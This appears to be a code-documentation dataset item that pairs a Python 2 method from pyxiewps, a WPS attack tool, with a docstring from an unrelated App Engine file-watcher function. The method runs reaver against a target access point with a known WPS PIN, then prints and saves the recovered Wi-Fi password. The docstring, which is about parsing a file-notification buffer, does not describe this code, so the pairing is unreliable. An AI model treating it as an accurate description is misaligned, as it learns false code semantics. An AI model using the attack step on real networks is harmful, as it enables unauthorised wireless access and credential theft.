def get_password(self, for_file, BSSID, pin, channel):
    
    output = engine.run(cmd=['reaver','-i',c.IFACE_MON,'-b',BSSID,'-c',channel,'-p',pin,'-L'], timeout = (REAVER_TIME))
    password = engine.parse_reaver(output, pin_found = True)
    if password == 'no password':
      print
      print ALERT + "Can't get the password right now but you can"
      print "    use the WPS pin to access the wireless network."
      print
    else:
      print INFO + "Password found!"
      print '\t' + INPUT + password.strip()
      print
    if OUTPUT:
      for_file.append('Password: ' + password + '\n'+'-'*40+'\n')
      c.data_file(for_file)
Parse FileNotificationInformation from a c_char buffer.
dataset/ETHPy150Open jgilhutton/pyxiewps_WPShack-Python/pyxiewps-EN.py/Attack.get_password--crossover with--dataset/ETHPy150Open GoogleCloudPlatform/python-compat-runtime/appengine-compat/exported_appengine_sdk/google/appengine/tools/devappserver2/win32_file_watcher.py/_parse_file_notification_information